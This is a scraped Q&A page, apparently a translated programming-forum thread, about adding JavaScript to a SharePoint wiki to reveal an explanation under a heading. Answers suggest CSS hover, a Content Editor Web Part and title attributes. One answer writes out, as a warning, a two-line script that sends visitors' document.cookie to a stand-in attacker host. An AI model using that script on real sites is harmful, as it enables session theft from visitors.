【问题标题】:How to enter Javascript into a wiki page?如何在 wiki 页面中输入 Javascript?
【发布时间】:2008-09-17 21:09:26
【问题描述】:

作为 wiki 管理员,我如何将脚本 (Javascript) 输入到 Sharepoint wiki 页面?

我想输入一个标题,点击它时,会在它下面显示一个小说明。我通常是用 javascript 做的,还有其他想法吗?

【问题讨论】:

  • 您是 wiki 站点管理员还是其他用户。
  • 这改变了一切。请更新您的问题并包含您的 wiki 平台。
  • 你也可以标记这个'html'

标签: javascript html sharepoint wiki


【解决方案1】:

如果 wiki 作者很聪明,可能没有办法做到这一点。

用户贡献的 JavaScript 的问题在于,它为各种形式的作恶者打开了大门,可以从毫无戒心的人那里获取数据。

假设 evil-me 在公共网站上发布了一个脚本:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

现在我将收到每个页面访问者的 cookie 信息,并发布到我的服务器上的日志中。而这只是冰山一角。

【讨论】:

    【解决方案2】:

    假设您是 wiki 的管理员并且愿意在鼠标悬停而不是单击时显示此内容,您根本不需要 javascript -- 您可以直接使用 CSS。这是样式和标记的示例:

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
      "http://www.w3.org/TR/html4/strict.dtd">
    <html>
    <head>
      <title>Test</title>
      <style type="text/css">
        h1 { padding-bottom: .5em; position: relative; }
        h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
        h1:hover span { display: block; }
      </style>
    </head>
    <body>
      <h1>Here is the title!
        <span>Here is a little explanation</span>
      </h1>
      <p>Here is some page content</p>
    </body>
    </html>
    

    使用更多涉及的样式,您的工具提示框可以看起来像您想要的一样漂亮。

    【讨论】:

      【解决方案3】:

      这完全取决于您使用的特定 Wiki 软件。我见过的工作方式是在其他地方托管一个 js 文件,然后包含一个带有 src 属性的脚本标签。

      如果他们不允许这样做,也许他们允许 IFRAME,您可以将其设置为包含脚本的页面。使用第二种技术,您将无法访问主机页面的 DOM。

      【讨论】:

        【解决方案4】:

        我喜欢 CSS 的答案。当您可以使用 CSS 而不是 Javascript 时,它会产生更简单的标记。
        要研究的另一件事是 Codeplex 上 SharePoint 增强 Wiki 版的社区工具包。您可以下载源代码并添加您自己的功能。或者您可以在论坛中将此作为新功能提出建议。

        【讨论】:

          【解决方案5】:

          使用内容编辑器 Web 部件

          从功能区中选择Insert,然后选择Web Part。从菜单中转到Media and Content 并选择Content Editor。从新创建的 Web 部件的下拉菜单中,选择 Edit Web Part。从右侧 Web 部件设置菜单中,展开 Appearance 并将 Chrome Type 设置为 None。单击 Web 部件上的 Click Here to Add Content 并在功能区中找到 Edit HTML Source。您可以在此区域中使用 HTML 而无需对其进行清理。

          注意:如果您计划向大量页面元素添加行为,您可能需要将 .js 文件上传到样式库并在内容编辑器中仅包含 &lt;script src="..."&gt; 标记。您可能还想考虑使用自定义母版或页面布局。

          来源:https://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages

          【讨论】:

          • 我知道这是XY problem,但是因为这个问题是“wiki页面中的sharepoint javascript”的第一个结果,所以我选择回答Y。
          【解决方案6】:

          这听起来像是一个安全风险。 wiki 管理员似乎可以安装脚本,请参阅wikipedia's user scripts

          【讨论】:

            【解决方案7】:

            如果您在谈论使用 Javascript 作为本网站网页的一部分,则不能。或任何其他公共维基 - 这是一个安全风险。

            如果您要发布代码示例,请单击文本框上方的“101010”按钮。

            【讨论】:

              【解决方案8】:

              这当然取决于您正在与之交谈的 wiki 引擎。不过,正如 sblundy 所说,最有可能的是,允许在 wiki 页面上免费使用 javascript 会带来安全风险。

              【讨论】:

                【解决方案9】:

                您不应为任何公共 wiki 添加 javascript 代码。如果您自己托管它,那么您需要请求一个特定的 wiki 系统,以便有人可以帮助您修改设置 - 如果该系统可能的话。

                【讨论】:

                  【解决方案10】:

                  title="text here" 添加到任何标签,当鼠标悬停在标签上时应该会显示一个文本。
                  当您使用 alt="text here" 属性时,Internet Explorer 会显示文本,尽管这不符合标准。

                  我现在进行了测试,您可以将&lt;h2 title="some explanation here"&gt;headline&lt;/h2&gt; 添加到基于维基媒体(维基百科使用的那个)的任何系统中。

                  【讨论】:

                    猜你喜欢
                    • 1970-01-01
                    • 1970-01-01
                    • 2013-05-29
                    • 2023-03-11
                    • 1970-01-01
                    • 2012-08-02
                    • 1970-01-01
                    • 1970-01-01
                    • 2014-04-28
                    相关资源
                    最近更新 更多